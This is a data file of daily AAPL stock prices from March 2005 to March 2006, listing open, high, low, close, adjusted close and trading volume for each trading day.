-2005-03-16,5.887142658233643,6.044285774230957,5.825714111328125,5.882857322692871,5.118680000305176,174453300.0,AAPL -2005-03-17,5.932857036590576,6.125714302062988,5.902857303619385,6.035714149475098,5.251681327819824,200480000.0,AAPL -2005-03-18,6.190000057220459,6.205714225769043,6.0714287757873535,6.137142658233643,5.339933395385742,235037600.0,AAPL -2005-03-21,6.184285640716553,6.281428337097168,6.122857093811035,6.242856979370117,5.431915760040283,135282000.0,AAPL -2005-03-22,6.244285583496094,6.28000020980835,6.097142696380615,6.1185712814331055,5.3237738609313965,137853800.0,AAPL -2005-03-23,6.064285755157471,6.199999809265137,6.002857208251953,6.078571319580078,5.288969993591309,152455800.0,AAPL -2005-03-24,6.130000114440918,6.142857074737549,6.0714287757873535,6.0714287757873535,5.2827558517456055,88176200.0,AAPL -2005-03-28,6.107142925262451,6.137142658233643,6.067142963409424,6.075714111328125,5.286485195159912,68852700.0,AAPL -2005-03-29,6.079999923706055,6.1185712814331055,5.9285712242126465,5.964285850524902,5.189530849456787,115339000.0,AAPL -2005-03-30,6.010000228881836,6.114285945892334,5.97428560256958,6.114285945892334,5.32004451751709,98739900.0,AAPL -2005-03-31,6.064285755157471,6.074285507202148,5.9414286613464355,5.95285701751709,5.179587364196777,159033700.0,AAPL -2005-04-01,6.012856960296631,6.02571439743042,5.795714378356934,5.841428756713867,5.082633972167969,160321000.0,AAPL -2005-04-04,5.855714321136475,5.901428699493408,5.737143039703369,5.869999885559082,5.107492923736572,145003600.0,AAPL -2005-04-05,5.888571262359619,6.034285545349121,5.869999885559082,5.984285831451416,5.20693302154541,139059900.0,AAPL -2005-04-06,6.057142734527588,6.115714073181152,6.02142858505249,6.04714298248291,5.261623859405518,103706400.0,AAPL -2005-04-07,6.04714298248291,6.25,6.035714149475098,6.2228569984436035,5.414514064788818,126746900.0,AAPL -2005-04-08,6.242856979370117,6.349999904632568,6.21999979019165,6.248571395874023,5.436888694763184,162487500.0,AAPL -2005-04-11,6.307142734527588,6.3214287757873535,5.987143039703369,5.988571643829346,5.2106614112854,205415700.0,AAPL -2005-04-12,6.070000171661377,6.170000076293945,6.001428604125977,6.094285488128662,5.302645206451416,245265300.0,AAPL -2005-04-13,6.135714054107666,6.141428470611572,5.769999980926514,5.862857341766357,5.1012773513793945,342986700.0,AAPL -2005-04-14,5.544285774230957,5.651428699493408,5.262856960296631,5.32285737991333,4.6314239501953125,688298100.0,AAPL -2005-04-15,5.231428623199463,5.3214287757873535,5.039999961853027,5.050000190734863,4.394009590148926,432021800.0,AAPL -2005-04-18,5.0,5.185714244842529,4.857142925262451,5.088571548461914,4.427570819854736,331794400.0,AAPL -2005-04-19,5.22857141494751,5.348571300506592,5.124285697937012,5.298571586608887,4.610292911529541,270410700.0,AAPL -2005-04-20,5.380000114440918,5.391428470611572,5.062857151031494,5.07285737991333,4.413898468017578,236282900.0,AAPL -2005-04-21,5.199999809265137,5.315714359283447,5.128571510314941,5.311428546905518,4.621479511260986,189898100.0,AAPL -2005-04-22,5.262856960296631,5.285714149475098,4.985714435577393,5.0714287757873535,4.412655353546143,209782300.0,AAPL -2005-04-25,5.212857246398926,5.288571357727051,5.158571243286133,5.2828569412231445,4.59661865234375,186615100.0,AAPL -2005-04-26,5.25428581237793,5.358571529388428,5.159999847412109,5.170000076293945,4.498420715332031,202626900.0,AAPL -2005-04-27,5.127142906188965,5.194285869598389,5.07285737991333,5.135714054107666,4.468590259552002,153472200.0,AAPL -2005-04-28,5.184285640716553,5.1914286613464355,5.034285545349121,5.077142715454102,4.417625427246094,143776500.0,AAPL -2005-04-29,5.164285659790039,5.175714492797852,5.031428337097168,5.151428699493408,4.482263088226318,167907600.0,AAPL -2005-05-02,5.172857284545898,5.235714435577393,5.145714282989502,5.204285621643066,4.528253078460693,116480000.0,AAPL -2005-05-03,5.199999809265137,5.248571395874023,5.1471428871154785,5.172857284545898,4.500907897949219,124184900.0,AAPL -2005-05-04,5.158571243286133,5.314285755157471,5.157142639160156,5.307142734527588,4.61775016784668,112044100.0,AAPL -2005-05-05,5.3214287757873535,5.324285507202148,5.210000038146973,5.239999771118164,4.559330940246582,96841500.0,AAPL -2005-05-06,5.269999980926514,5.332857131958008,5.255714416503906,5.320000171661377,4.628937721252441,81561900.0,AAPL -2005-05-09,5.325714111328125,5.349999904632568,5.25,5.281428337097168,4.595376491546631,88923800.0,AAPL -2005-05-10,5.25,5.3214287757873535,5.190000057220459,5.20285701751709,4.527010917663574,110065900.0,AAPL -2005-05-11,5.028571605682373,5.095714092254639,4.730000019073486,5.0871429443359375,4.426327228546143,510495300.0,AAPL -2005-05-12,5.059999942779541,5.084285736083984,4.857142925262451,4.875714302062988,4.242363929748535,242560500.0,AAPL -2005-05-13,4.885714054107666,5.0328569412231445,4.867142677307129,4.9671430587768555,4.321915626525879,175678300.0,AAPL -2005-05-16,4.937142848968506,5.099999904632568,4.932857036590576,5.078571319580078,4.418870449066162,118573700.0,AAPL -2005-05-17,5.019999980926514,5.065714359283447,4.934285640716553,5.05142879486084,4.395253658294678,147086100.0,AAPL -2005-05-18,5.064285755157471,5.365714073181152,4.998571395874023,5.119999885559082,4.4549174308776855,159180700.0,AAPL -2005-05-19,5.111428737640381,5.382857322692871,5.111428737640381,5.364285945892334,4.6674699783325195,198290400.0,AAPL -2005-05-20,5.3214287757873535,5.378571510314941,5.312857151031494,5.364285945892334,4.6674699783325195,113162700.0,AAPL -2005-05-23,5.407142639160156,5.699999809265137,5.407142639160156,5.679999828338623,4.942171573638916,260643600.0,AAPL -2005-05-24,5.635714054107666,5.712857246398926,5.575714111328125,5.671428680419922,4.93471622467041,148365000.0,AAPL -2005-05-25,5.642857074737549,5.7071428298950195,5.617142677307129,5.682857036590576,4.944659233093262,99001700.0,AAPL -2005-05-26,5.705714225769043,5.848571300506592,5.705714225769043,5.820000171661377,5.063988208770752,131380200.0,AAPL -2005-05-27,5.805714130401611,5.827142715454102,5.715714454650879,5.794285774230957,5.04161262512207,79002000.0,AAPL -2005-05-31,5.8085713386535645,5.820000171661377,5.654285907745361,5.679999828338623,4.942171573638916,101051300.0,AAPL -2005-06-01,5.69857120513916,5.82285737991333,5.694285869598389,5.757143020629883,5.00929594039917,113453200.0,AAPL -2005-06-02,5.721428394317627,5.760000228881836,5.657142639160156,5.71999979019165,4.97697639465332,93493400.0,AAPL -2005-06-03,5.451428413391113,5.511428356170654,5.395714282989502,5.462857246398926,4.753237247467041,239217300.0,AAPL -2005-06-06,5.475714206695557,5.518571376800537,5.365714073181152,5.417142868041992,4.713459491729736,202991600.0,AAPL -2005-06-07,5.371428489685059,5.389999866485596,5.2071428298950195,5.21999979019165,4.541927337646484,186316200.0,AAPL -2005-06-08,5.2328572273254395,5.3214287757873535,5.22428560256958,5.274285793304443,4.589160442352295,101001600.0,AAPL -2005-06-09,5.285714149475098,5.420000076293945,5.260000228881836,5.378571510314941,4.6798996925354,97563900.0,AAPL -2005-06-10,5.342857360839844,5.342857360839844,5.074285507202148,5.115714073181152,4.4511871337890625,169733200.0,AAPL -2005-06-13,5.127142906188965,5.230000019073486,5.117142677307129,5.128571510314941,4.462374210357666,108943100.0,AAPL -2005-06-14,5.1314287185668945,5.164285659790039,5.107142925262451,5.142857074737549,4.474804401397705,86961700.0,AAPL -2005-06-15,5.2671427726745605,5.328571319580078,5.185714244842529,5.304285526275635,4.615262985229492,140835800.0,AAPL -2005-06-16,5.312857151031494,5.440000057220459,5.260000228881836,5.425714492797852,4.720920085906982,136918600.0,AAPL -2005-06-17,5.49571418762207,5.505714416503906,5.404285907745361,5.4728569984436035,4.76193904876709,149031400.0,AAPL -2005-06-20,5.407142639160156,5.4414286613464355,5.349999904632568,5.372857093811035,4.674929141998291,80929100.0,AAPL -2005-06-21,5.388571262359619,5.455714225769043,5.340000152587891,5.408571243286133,4.706002712249756,92631700.0,AAPL -2005-06-22,5.465714454650879,5.514285564422607,5.44857120513916,5.507143020629883,4.791769981384277,106231300.0,AAPL -2005-06-23,5.54714298248291,5.682857036590576,5.52142858505249,5.555714130401611,4.83403205871582,168563500.0,AAPL -2005-06-24,5.584285736083984,5.588571548461914,5.382857322692871,5.394285678863525,4.693572521209717,102677400.0,AAPL -2005-06-27,5.262856960296631,5.442857265472412,5.239999771118164,5.300000190734863,4.611534595489502,150042900.0,AAPL -2005-06-28,5.355714321136475,5.369999885559082,5.309999942779541,5.329999923706055,4.637638092041016,87574900.0,AAPL -2005-06-29,5.3185715675354,5.327142715454102,5.159999847412109,5.195714473724365,4.520795822143555,112089600.0,AAPL -2005-06-30,5.230000019073486,5.3085713386535645,5.187142848968506,5.258571624755859,4.575488090515137,104597500.0,AAPL -2005-07-01,5.261428356170654,5.281428337097168,5.184285640716553,5.214285850524902,4.5369553565979,62500200.0,AAPL -2005-07-05,5.221428394317627,5.449999809265137,5.214285850524902,5.425714492797852,4.720920085906982,113567300.0,AAPL -2005-07-06,5.387142658233643,5.451428413391113,5.314285755157471,5.341428756713867,4.647582530975342,98656600.0,AAPL -2005-07-07,5.258571624755859,5.394285678863525,5.257143020629883,5.375714302062988,4.6774139404296875,95930800.0,AAPL -2005-07-08,5.409999847412109,5.468571662902832,5.3528571128845215,5.464285850524902,4.754478931427002,72683800.0,AAPL -2005-07-11,5.481428623199463,5.52142858505249,5.3971428871154785,5.442857265472412,4.735834121704102,97197100.0,AAPL -2005-07-12,5.461428642272949,5.485714435577393,5.415714263916016,5.462857246398926,4.753237247467041,96759600.0,AAPL -2005-07-13,5.46999979019165,5.5,5.414285659790039,5.47857141494751,4.766908645629883,171208800.0,AAPL -2005-07-14,5.827142715454102,6.001428604125977,5.747142791748047,5.8214287757873535,5.065230846405029,524015100.0,AAPL -2005-07-15,5.8528571128845215,5.938571453094482,5.78000020980835,5.935714244842529,5.164670944213867,171920700.0,AAPL -2005-07-18,5.915714263916016,6.014285564422607,5.909999847412109,5.92714262008667,5.157212734222412,146574400.0,AAPL -2005-07-19,5.9314284324646,6.175714492797852,5.867142677307129,6.170000076293945,5.368523120880127,167765500.0,AAPL -2005-07-20,6.122857093811035,6.257143020629883,6.092857360839844,6.2328572273254395,5.423214912414551,113348900.0,AAPL -2005-07-21,6.242856979370117,6.291428565979004,6.128571510314941,6.184285640716553,5.380951881408691,101066000.0,AAPL -2005-07-22,6.205714225769043,6.285714149475098,6.19857120513916,6.285714149475098,5.469205856323242,75276600.0,AAPL -2005-07-25,6.284285545349121,6.325714111328125,6.247142791748047,6.258571624755859,5.4455885887146,73656800.0,AAPL -2005-07-26,6.287142753601074,6.30142879486084,6.194285869598389,6.2328572273254395,5.423214912414551,67148200.0,AAPL -2005-07-27,6.261428356170654,6.295714378356934,6.095714092254639,6.284285545349121,5.467962265014648,70937300.0,AAPL -2005-07-28,6.264285564422607,6.285714149475098,6.185714244842529,6.257143020629883,5.444345474243164,62827800.0,AAPL -2005-07-29,6.2228569984436035,6.340000152587891,6.037142753601074,6.092857360839844,5.301400661468506,140520100.0,AAPL -2005-08-01,6.081428527832031,6.154285907745361,6.011428356170654,6.107142925262451,5.313830852508545,78562400.0,AAPL -2005-08-02,6.127142906188965,6.214285850524902,6.0871429443359375,6.170000076293945,5.368523120880127,74218900.0,AAPL -2005-08-03,6.170000076293945,6.187142848968506,6.110000133514404,6.174285888671875,5.372251510620117,64580600.0,AAPL -2005-08-04,6.127142906188965,6.142857074737549,6.041428565979004,6.101428508758545,5.308859348297119,67326000.0,AAPL -2005-08-05,6.070000171661377,6.194285869598389,6.002857208251953,6.141428470611572,5.343662261962891,60482800.0,AAPL -2005-08-08,6.142857074737549,6.1785712242126465,6.0871429443359375,6.092857360839844,5.301400661468506,44095800.0,AAPL -2005-08-09,6.132857322692871,6.269999980926514,6.130000114440918,6.260000228881836,5.446831226348877,95209800.0,AAPL -2005-08-10,6.285714149475098,6.341428756713867,6.187142848968506,6.197143077850342,5.392139911651611,90236300.0,AAPL -2005-08-11,6.19857120513916,6.302856922149658,6.1785712242126465,6.285714149475098,5.469205856323242,67995900.0,AAPL -2005-08-12,6.208571434020996,6.6028571128845215,6.194285869598389,6.585714340209961,5.730235576629639,229009200.0,AAPL -2005-08-15,6.639999866485596,6.904285907745361,6.635714054107666,6.811428546905518,5.92663049697876,271681900.0,AAPL -2005-08-16,6.769999980926514,6.785714149475098,6.601428508758545,6.607142925262451,5.748880386352539,134405600.0,AAPL -2005-08-17,6.628571510314941,6.7771430015563965,6.624285697937012,6.735714435577393,5.860751628875732,124931100.0,AAPL -2005-08-18,6.701428413391113,6.714285850524902,6.535714149475098,6.614285945892334,5.755096435546875,110639900.0,AAPL -2005-08-19,6.611428737640381,6.671428680419922,6.538571357727051,6.54714298248291,5.6966753005981445,94142300.0,AAPL -2005-08-22,6.592857360839844,6.6785712242126465,6.465714454650879,6.552856922149658,5.701647758483887,96933200.0,AAPL -2005-08-23,6.550000190734863,6.585714340209961,6.47428560256958,6.534285545349121,5.685486793518066,73901100.0,AAPL -2005-08-24,6.514285564422607,6.731428623199463,6.512856960296631,6.538571357727051,5.6892170906066895,143017700.0,AAPL -2005-08-25,6.588571548461914,6.641428470611572,6.544285774230957,6.579999923706055,5.725265026092529,69063400.0,AAPL -2005-08-26,6.588571548461914,6.619999885559082,6.480000019073486,6.534285545349121,5.685486793518066,65264500.0,AAPL -2005-08-29,6.4671430587768555,6.575714111328125,6.465714454650879,6.548571586608887,5.697918891906738,64073800.0,AAPL -2005-08-30,6.570000171661377,6.684285640716553,6.559999942779541,6.652857303619385,5.788655757904053,129690400.0,AAPL -2005-08-31,6.694285869598389,6.718571662902832,6.610000133514404,6.69857120513916,5.828433036804199,100739100.0,AAPL -2005-09-01,6.714285850524902,6.738571643829346,6.584285736083984,6.608571529388428,5.750123977661133,89091800.0,AAPL -2005-09-02,6.614285945892334,6.685714244842529,6.588571548461914,6.6028571128845215,5.745152950286865,55594700.0,AAPL -2005-09-06,6.671428680419922,6.9828572273254395,6.650000095367432,6.971428394317627,6.0658464431762695,204654800.0,AAPL -2005-09-07,7.007143020629883,7.057142734527588,6.845714092254639,6.954285621643066,6.050930023193359,240768500.0,AAPL -2005-09-08,7.050000190734863,7.159999847412109,7.019999980926514,7.111428737640381,6.18765926361084,175660100.0,AAPL -2005-09-09,7.152857303619385,7.335714340209961,7.112857341766357,7.329999923706055,6.377840042114258,153910400.0,AAPL -2005-09-12,7.300000190734863,7.375714302062988,7.225714206695557,7.342857360839844,6.3890275955200195,113199100.0,AAPL -2005-09-13,7.288571357727051,7.327142715454102,7.188571453094482,7.260000228881836,6.316932678222656,123221000.0,AAPL -2005-09-14,7.294285774230957,7.312857151031494,7.065714359283447,7.0871429443359375,6.166530132293701,118606600.0,AAPL -2005-09-15,7.142857074737549,7.168571472167969,7.04714298248291,7.124285697937012,6.198847770690918,103789000.0,AAPL -2005-09-16,7.175714492797852,7.315714359283447,7.135714054107666,7.315714359283447,6.365409851074219,147751100.0,AAPL -2005-09-19,7.2928571701049805,7.555714130401611,7.2928571701049805,7.519999980926514,6.543158531188965,195932800.0,AAPL -2005-09-20,7.570000171661377,7.687142848968506,7.559999942779541,7.598571300506592,6.611523151397705,204957200.0,AAPL -2005-09-21,7.565714359283447,7.578571319580078,7.408571243286133,7.444285869598389,6.477279186248779,108686900.0,AAPL -2005-09-22,7.411428451538086,7.49571418762207,7.331428527832031,7.414285659790039,6.451176643371582,115931900.0,AAPL -2005-09-23,7.442857265472412,7.642857074737549,7.405714511871338,7.599999904632568,6.612767696380615,139614300.0,AAPL -2005-09-26,7.718571662902832,7.794285774230957,7.617142677307129,7.6914286613464355,6.692319393157959,136640700.0,AAPL -2005-09-27,7.70285701751709,7.748571395874023,7.632857322692871,7.634285926818848,6.642598628997803,85425900.0,AAPL -2005-09-28,7.581428527832031,7.5871429443359375,7.227142810821533,7.29714298248291,6.349250793457031,281386000.0,AAPL -2005-09-29,7.3185715675354,7.512856960296631,7.258571624755859,7.477142810821533,6.505869388580322,159211500.0,AAPL -2005-09-30,7.475714206695557,7.664285659790039,7.411428451538086,7.658571243286133,6.663730621337891,132908300.0,AAPL -2005-10-03,7.737143039703369,7.791428565979004,7.668571472167969,7.7771430015563965,6.766899585723877,126888300.0,AAPL -2005-10-04,7.849999904632568,7.907142639160156,7.6628570556640625,7.6785712242126465,6.681131362915039,134864800.0,AAPL -2005-10-05,7.761428356170654,7.765714168548584,7.535714149475098,7.539999961853027,6.560560703277588,152692400.0,AAPL -2005-10-06,7.599999904632568,7.641428470611572,7.2671427726745605,7.385714054107666,6.426315784454346,189384300.0,AAPL -2005-10-07,7.388571262359619,7.418571472167969,7.221428394317627,7.328571319580078,6.376596927642822,169470700.0,AAPL -2005-10-10,7.394285678863525,7.415714263916016,7.182857036590576,7.195714473724365,6.260997772216797,126876400.0,AAPL -2005-10-11,7.3185715675354,7.409999847412109,7.199999809265137,7.369999885559082,6.412642955780029,306471200.0,AAPL -2005-10-12,6.949999809265137,7.185714244842529,6.838571548461914,7.035714149475098,6.1217827796936035,674371600.0,AAPL -2005-10-13,7.062857151031494,7.7071428298950195,7.038571357727051,7.67714262008667,6.679889678955078,466393900.0,AAPL -2005-10-14,7.718571662902832,7.764285564422607,7.541428565979004,7.714285850524902,6.712207794189453,258888000.0,AAPL -2005-10-17,7.711428642272949,7.747142791748047,7.52571439743042,7.634285926818848,6.642598628997803,154208600.0,AAPL -2005-10-18,7.607142925262451,7.7071428298950195,7.4571428298950195,7.458571434020996,6.489709854125977,152397000.0,AAPL -2005-10-19,7.438571453094482,7.851428508758545,7.315714359283447,7.848571300506592,6.829049110412598,252170800.0,AAPL -2005-10-20,7.781428337097168,8.071428298950195,7.764285564422607,8.020000457763672,6.978209495544434,339440500.0,AAPL -2005-10-21,8.119999885559082,8.140000343322754,7.908571243286133,7.951428413391113,6.918544769287109,199181500.0,AAPL -2005-10-24,7.892857074737549,8.1128568649292,7.869999885559082,8.1128568649292,7.059004306793213,152438300.0,AAPL -2005-10-25,8.057143211364746,8.121428489685059,7.955714225769043,8.014286041259766,6.97323751449585,116281900.0,AAPL -2005-10-26,8.039999961853027,8.222857475280762,7.988571643829346,8.14714241027832,7.0888352394104,157898300.0,AAPL -2005-10-27,8.14142894744873,8.144286155700684,7.915714263916016,7.915714263916016,6.8874711990356445,102885300.0,AAPL -2005-10-28,8.005714416503906,8.061429023742676,7.738571643829346,7.781428337097168,6.770627498626709,192446800.0,AAPL -2005-10-31,7.885714054107666,8.282856941223145,7.8214287757873535,8.227143287658691,7.158445358276367,235211200.0,AAPL -2005-11-01,8.177143096923828,8.30571460723877,8.124285697937012,8.214285850524902,7.1472578048706055,187421500.0,AAPL -2005-11-02,8.24571418762207,8.571428298950195,8.228571891784668,8.564285278320312,7.451793670654297,214265100.0,AAPL -2005-11-03,8.60857105255127,8.902856826782227,8.581428527832031,8.835714340209961,7.687963008880615,221095700.0,AAPL -2005-11-04,8.621428489685059,8.748571395874023,8.517143249511719,8.735713958740234,7.600953578948975,219508800.0,AAPL -2005-11-07,8.692856788635254,8.8100004196167,8.591428756713867,8.60428524017334,7.486597537994385,159707800.0,AAPL -2005-11-08,8.564285278320312,8.625714302062988,8.442856788635254,8.557143211364746,7.445578575134277,118441400.0,AAPL -2005-11-09,8.571428298950195,8.744285583496094,8.571428298950195,8.587142944335938,7.471682071685791,138232500.0,AAPL -2005-11-10,8.662857055664062,8.742856979370117,8.430000305175781,8.739999771118164,7.604682922363281,166336100.0,AAPL -2005-11-11,8.791428565979004,8.872857093811035,8.762857437133789,8.791428565979004,7.649428367614746,106362200.0,AAPL -2005-11-14,8.791428565979004,8.85428524017334,8.701428413391113,8.778571128845215,7.638243198394775,92483300.0,AAPL -2005-11-15,8.800000190734863,9.011428833007812,8.779999732971191,8.89714241027832,7.741410732269287,134210300.0,AAPL -2005-11-16,9.021428108215332,9.294285774230957,9.012857437133789,9.278571128845215,8.073295593261719,196128800.0,AAPL -2005-11-17,9.369999885559082,9.411428451538086,9.178571701049805,9.217143058776855,8.019844055175781,169051400.0,AAPL -2005-11-18,9.329999923706055,9.347143173217773,9.195713996887207,9.222857475280762,8.024816513061523,131240200.0,AAPL -2005-11-21,9.260000228881836,9.312856674194336,9.10285758972168,9.279999732971191,8.074535369873047,127927800.0,AAPL -2005-11-22,9.262857437133789,9.537142753601074,9.217143058776855,9.502857208251953,8.26844596862793,135070600.0,AAPL -2005-11-23,9.554286003112793,9.71142864227295,9.527142524719238,9.587142944335938,8.341780662536621,121463300.0,AAPL -2005-11-25,9.665714263916016,9.934286117553711,9.642857551574707,9.90571403503418,8.618971824645996,98753200.0,AAPL -2005-11-28,10.10285758972168,10.152856826782227,9.867142677307129,9.951428413391113,8.658744812011719,254629900.0,AAPL -2005-11-29,9.998571395874023,10.04285717010498,9.621428489685059,9.728571891784668,8.464839935302734,222858300.0,AAPL -2005-11-30,9.775713920593262,9.835714340209961,9.64571475982666,9.688570976257324,8.430034637451172,148918700.0,AAPL -2005-12-01,9.850000381469727,10.247142791748047,9.829999923706055,10.228571891784668,8.899890899658203,203223300.0,AAPL -2005-12-02,10.324285507202148,10.39142894744873,10.100000381469727,10.375714302062988,9.02791976928711,223940500.0,AAPL -2005-12-05,10.278571128845215,10.361428260803223,10.212857246398926,10.260000228881836,8.92723560333252,145917800.0,AAPL -2005-12-06,10.561429023742676,10.6899995803833,10.478571891784668,10.578571319580078,9.204424858093262,214257400.0,AAPL -2005-12-07,10.60428524017334,10.6371431350708,10.445713996887207,10.564285278320312,9.191994667053223,169866200.0,AAPL -2005-12-08,10.45714282989502,10.595714569091797,10.371428489685059,10.582857131958008,9.208155632019043,197619800.0,AAPL -2005-12-09,10.601428985595703,10.65571403503418,10.478571891784668,10.618571281433105,9.239229202270508,138850600.0,AAPL -2005-12-12,10.695713996887207,10.764286041259766,10.65142822265625,10.701428413391113,9.311321258544922,131248600.0,AAPL -2005-12-13,10.692856788635254,10.779999732971191,10.601428985595703,10.71142864227295,9.320021629333496,123454100.0,AAPL -2005-12-14,10.361428260803223,10.471428871154785,10.03857135772705,10.287142753601074,8.950854301452637,362679100.0,AAPL -2005-12-15,10.382857322692871,10.408571243286133,10.192856788635254,10.311429023742676,8.971982955932617,140290500.0,AAPL -2005-12-16,10.30571460723877,10.328571319580078,10.15142822265625,10.158571243286133,8.838980674743652,167792800.0,AAPL -2005-12-19,10.158571243286133,10.371428489685059,10.148571014404297,10.197142601013184,8.87254524230957,132323800.0,AAPL -2005-12-20,10.232856750488281,10.34000015258789,10.15999984741211,10.30142879486084,8.96328067779541,119777000.0,AAPL -2005-12-21,10.371428489685059,10.515714645385742,10.3628568649292,10.5,9.13606071472168,118934200.0,AAPL -2005-12-22,10.558571815490723,10.64142894744873,10.514286041259766,10.574285507202148,9.200697898864746,92652700.0,AAPL -2005-12-23,10.595714569091797,10.60857105255127,10.471428871154785,10.478571891784668,9.117415428161621,57464400.0,AAPL -2005-12-27,10.571428298950195,10.739999771118164,10.564285278320312,10.60428524017334,9.226799011230469,147647500.0,AAPL -2005-12-28,10.638571739196777,10.680000305175781,10.474286079406738,10.510000228881836,9.144760131835938,99528800.0,AAPL -2005-12-29,10.539999961853027,10.545714378356934,10.20285701751709,10.20714282989502,8.881246566772461,122506300.0,AAPL -2005-12-30,10.130000114440918,10.347143173217773,10.048571586608887,10.270000457763672,8.935935020446777,156065700.0,AAPL -2006-01-03,10.34000015258789,10.678571701049805,10.321428298950195,10.678571701049805,9.291433334350586,201808600.0,AAPL -2006-01-04,10.732856750488281,10.85428524017334,10.642857551574707,10.710000038146973,9.318782806396484,154900900.0,AAPL -2006-01-05,10.6899995803833,10.699999809265137,10.535714149475098,10.625714302062988,9.245445251464844,112355600.0,AAPL -2006-01-06,10.75,10.95714282989502,10.649999618530273,10.899999618530273,9.484099388122559,176114400.0,AAPL -2006-01-09,10.96142864227295,11.028571128845215,10.819999694824219,10.864285469055176,9.453024864196777,168760200.0,AAPL -2006-01-10,10.892857551574707,11.69857120513916,10.832857131958008,11.55142879486084,10.050908088684082,569967300.0,AAPL -2006-01-11,11.977143287658691,12.114285469055176,11.798571586608887,11.985713958740234,10.428781509399414,373448600.0,AAPL -2006-01-12,12.138571739196777,12.342857360839844,11.945713996887207,12.041428565979004,10.477258682250977,320202400.0,AAPL -2006-01-13,12.14142894744873,12.287142753601074,12.085714340209961,12.227143287658691,10.638847351074219,194076400.0,AAPL -2006-01-17,12.242856979370117,12.34000015258789,11.981428146362305,12.101428985595703,10.529465675354004,208905900.0,AAPL -2006-01-18,11.868571281433105,12.007143020629883,11.692856788635254,11.784285545349121,10.253519058227539,300159300.0,AAPL -2006-01-19,11.607142448425293,11.665714263916016,11.248571395874023,11.291428565979004,9.82468318939209,423962000.0,AAPL -2006-01-20,11.325714111328125,11.434286117553711,10.832857131958008,10.869999885559082,9.45799732208252,283689700.0,AAPL -2006-01-23,10.871428489685059,11.365714073181152,10.857142448425293,11.095714569091797,9.654391288757324,264932500.0,AAPL -2006-01-24,11.251428604125977,11.345714569091797,10.824285507202148,10.8628568649292,9.451781272888184,285563600.0,AAPL -2006-01-25,11.05571460723877,11.071428298950195,10.464285850524902,10.600000381469727,9.223069190979004,318946600.0,AAPL -2006-01-26,10.64714241027832,10.775713920593262,10.275713920593262,10.332857131958008,8.990631103515625,295346800.0,AAPL -2006-01-27,10.421428680419922,10.514286041259766,10.157142639160156,10.289999961853027,8.953338623046875,238466200.0,AAPL -2006-01-30,10.167142868041992,10.942856788635254,10.124285697937012,10.714285850524902,9.322511672973633,349600300.0,AAPL -2006-01-31,10.785714149475098,10.90571403503418,10.535714149475098,10.787142753601074,9.385905265808105,228385500.0,AAPL -2006-02-01,10.70714282989502,10.922857284545898,10.662857055664062,10.774285316467285,9.37471866607666,130296600.0,AAPL -2006-02-02,10.728571891784668,10.765714645385742,10.29285717010498,10.300000190734863,8.96203899383545,176830500.0,AAPL -2006-02-03,10.319999694824219,10.398571014404297,10.148571014404297,10.264286041259766,8.9309663772583,173030900.0,AAPL -2006-02-06,10.28857135772705,10.35857105255127,9.534285545349121,9.614285469055176,8.365398406982422,412941900.0,AAPL -2006-02-07,9.752857208251953,9.925714492797852,9.525713920593262,9.657142639160156,8.402687072753906,347207700.0,AAPL -2006-02-08,9.784285545349121,9.868571281433105,9.428571701049805,9.829999923706055,8.553092956542969,238278600.0,AAPL -2006-02-09,9.871428489685059,9.890000343322754,9.218571662902832,9.278571128845215,8.073295593261719,287441000.0,AAPL -2006-02-10,9.311429023742676,9.667142868041992,8.985713958740234,9.615714073181152,8.3666410446167,440119400.0,AAPL -2006-02-13,9.518571853637695,9.535714149475098,9.234285354614258,9.244285583496094,8.043461799621582,220874500.0,AAPL -2006-02-14,9.300000190734863,9.728571891784668,9.285714149475098,9.662857055664062,8.407660484313965,290234700.0,AAPL -2006-02-15,9.59428596496582,9.945713996887207,9.535714149475098,9.888571739196777,8.60405445098877,289942800.0,AAPL -2006-02-16,9.987142562866211,10.144286155700684,9.925714492797852,10.081428527832031,8.771860122680664,237043800.0,AAPL -2006-02-17,10.04285717010498,10.127142906188965,9.94428539276123,10.041428565979004,8.73705768585205,143999800.0,AAPL -2006-02-21,10.084285736083984,10.114285469055176,9.811429023742676,9.868571281433105,8.586653709411621,194901700.0,AAPL -2006-02-22,9.857142448425293,10.238571166992188,9.714285850524902,10.188570976257324,8.865084648132324,244559700.0,AAPL -2006-02-23,10.255714416503906,10.428571701049805,10.204285621643066,10.25,8.918536186218262,214229400.0,AAPL -2006-02-24,10.30571460723877,10.412857055664062,10.171428680419922,10.208571434020996,8.882491111755371,133686000.0,AAPL -2006-02-27,10.284285545349121,10.302857398986816,10.092857360839844,10.14142894744873,8.824066162109375,197810200.0,AAPL -2006-02-28,10.225714683532715,10.342857360839844,9.728571891784668,9.784285545349121,8.513318061828613,316745100.0,AAPL -2006-03-01,9.834285736083984,9.927143096923828,9.717143058776855,9.871428489685059,8.589139938354492,190954400.0,AAPL -2006-03-02,9.855713844299316,9.998571395874023,9.8100004196167,9.94428539276123,8.652531623840332,156318400.0,AAPL -2006-03-03,9.914285659790039,9.987142562866211,9.64714241027832,9.674285888671875,8.417603492736816,184417100.0,AAPL -2006-03-06,9.670000076293945,9.674285888671875,9.277142524719238,9.35428524017334,8.139174461364746,228166400.0,AAPL -2006-03-07,9.394286155700684,9.557143211364746,9.29714298248291,9.472857475280762,8.242341041564941,218219400.0,AAPL -2006-03-08,9.470000267028809,9.600000381469727,9.335714340209961,9.380000114440918,8.161544799804688,163312800.0,AAPL -2006-03-09,9.425714492797852,9.49571418762207,9.115714073181152,9.132857322692871,7.946506977081299,199826200.0,AAPL -2006-03-10,9.149999618530273,9.212857246398926,8.921428680419922,9.027142524719238,7.854528427124023,260785700.0,AAPL -2006-03-13,9.29285717010498,9.468571662902832,9.255714416503906,9.382857322692871,8.164034843444824,215296900.0,AAPL -2006-03-14,9.39571475982666,9.617142677307129,9.357142448425293,9.617142677307129,8.367886543273926,160505100.0,AAPL -2006-03-15,9.672857284545898,9.720000267028809,9.359999656677246,9.46142864227295,8.232397079467773,222999000.0,AAPL -2006-03-16,9.550000190734863,9.557143211364746,9.185714721679688,9.187143325805664,7.9937424659729,187409600.0,AAPL -2006-03-17,9.25,9.3628568649292,9.158571243286133,9.237142562866211,8.037246704101562,203010500.0,AAPL -2006-03-20,9.317142486572266,9.351428985595703,9.124285697937012,9.14142894744873,7.953964710235596,151360300.0,AAPL -2006-03-21,8.829999923706055,9.191428184509277,8.770000457763672,8.829999923706055,7.682991027832031,336341600.0,AAPL -2006-03-22,8.880000114440918,9.035714149475098,8.752857208251953,8.8100004196167,7.665590286254883,336473900.0,AAPL 